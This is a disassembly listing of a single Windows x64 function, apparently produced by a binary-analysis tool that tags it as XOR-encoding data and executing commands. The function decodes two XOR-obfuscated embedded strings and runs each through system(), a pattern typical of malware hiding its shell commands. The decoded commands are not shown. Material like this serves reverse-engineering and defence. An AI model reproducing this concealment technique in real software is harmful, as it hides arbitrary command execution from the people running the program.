Function at 0x140004880
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
push rsi
sub rsp, 0xa0
movups xmm0, xmmword [str.LXIPWTRS_n_ck_g_r9__v_]
xor ebx, ebx
movups xmm1, xmmword [0x140087ca0]
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
lea esi, [rbx + 4]
movups xmmword [rax - 0x78], xmm0
lea ebp, [rbx + 0x1f]
movups xmm0, xmmword [0x140087cb0]
movaps xmmword [rax - 0x38], xmm8
mov qword [rax + 8], rdi
mov edi, dword [reloc.WS2_32.dll_accept]
movups xmmword [rax - 0x58], xmm0
movups xmmword [rax - 0x68], xmm1
cmp edi, 2
jl 0x140004a23
movdqa xmm0, xmmword [str.8888888888888888O]
lea rcx, [rax - 0x74]
movdqa xmm5, xmmword [0x1400883c0]
mov edx, ebx
movdqa xmm4, xmmword [0x140088410]
movdqa xmm7, xmmword [0x1400883e0]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movd xmm6, esi
movd xmm8, ebp
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400883f0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400883f0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x30
jl 0x140004920
jmp 0x140004a61
lea r9, [rsp + 0x30]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x140004a30
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140087a38]
mov eax, dword [0x140087a70]
cmp edi, 2
movups xmm1, xmmword [0x140087a48]
mov rdi, qword [rsp + 0xb0]
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x68], eax
movups xmm0, xmmword [str.17loq]
movups xmmword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x140087a68]
movsd qword [rsp + 0x60], xmm0
jl 0x140004c04
movdqa xmm0, xmmword [str.8888888888888888O]
lea rcx, [rsp + 0x34]
movdqa xmm5, xmmword [0x1400883c0]
movdqa xmm4, xmmword [0x140088410]
movdqa xmm7, xmmword [0x1400883e0]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
movd xmm6, esi
movd xmm8, ebp
nop dword [rax]
nop word [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ebx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400883f0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400883f0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x38
jl 0x140004b00
cmp ebx, 0x3c
jge 0x140004c3d
movsxd rax, ebx
lea r8, [rsp + 0x30]
add r8, rax
nop
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
inc ebx
sub al, cl
add al, 0x38
xor byte [r8 - 1], al
cmp ebx, 0x3c
jl 0x140004c10
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop rsi
ret